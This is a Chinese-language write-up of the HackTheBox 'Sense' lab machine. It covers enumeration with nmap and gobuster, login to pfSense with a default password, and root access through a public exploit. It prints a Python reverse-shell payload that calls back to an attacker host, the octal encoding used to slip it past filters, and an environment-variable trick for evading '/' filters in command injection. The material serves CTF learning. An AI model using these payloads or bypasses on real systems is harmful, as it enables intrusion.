概述 (Overview)
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmap
- gobuster
- exploit-db
阶段1:枚举
通过Nmap进行端口识别,发现开放了两个端口:80、443
nmap的脚本扫描提示存在一个漏洞
浏览器访问后跳转到 HTTPS 显示如图内容,一个登陆页面(额,以前真没见过这个),页面上并没有版本信息:
阶段2:利用工具
尝试简单枚举一下网站路径:
/tree/
路径看着像是一个新的应用。
页尾发现版本信息 SilverStripe Tree Control v1.0
根据版本信息没有找到什么收获,跑一边大点的字典:
对比两个字典的结果,发现存在一个 system-users.txt
的文件,内容为一组账号和口令(口令提示为默认口令)。
随后在页面加载的样式链接里发现 pfsense_ng
的字符串,google后找到了该靶机所部署的服务。
pfSense是基于FreeBSD的开源防火墙解决方案,该发行版本可以免费安装在任意的设备上。
根据 .txt
文件提示的口令信息,google到了该系统的初始账号。
https://docs.netgate.com/pfsense/en/latest/usermanager/defaults.html
Username: admin
Password: pfsense
组合起来就是 rohit:pfsense
成功登录系统。
根据已知的系统名称及版本信息,找到了利用的 exploit:
阶段3:权限提升
查看该 exploit ,验证下 payload 里的页面是否存在:
OK,利用页面是存在的,接下来直接修改脚本将完整的 exploit 打印出来。
printf后的 char 对应的内容为:
# command to be converted into octal
command = """
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("%s",%s));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
""" % (lhost, lport)
payload = ""
# encode payload in octal
for char in command:
payload += ("\\" + oct(ord(char)).lstrip("0o"))
又GET到一个可以bypass命令执行的技巧,奶思啊
将至将其粘贴至浏览器,发现监听的NC已经成功上线。
学习-利用env进行bypass命令注入
做完该题后,查看IPPSEC的视频,发现他在bypass这个命令执行时用了另外一个技巧(继续GET,向大佬学习)。
通过 `env` 命令查看定义的环境变量,接着利用变量的值进行字符串截取,利用截取的内容去bypass。
比如 `PWD=/home/kali/hackthebox/Sense`,这样在执行命令时 `find ${PWD}` 就是 `find /home/kali/hackthebox/Sense`,绕过了参数接收时含有 `/` 就不执行的情况,间接遍历了整个文件夹。
利用字符截取也可以做到,如 `${PWD:0:1}`,它的意思就是PWD开头从0起始到1位结束,也就是`/`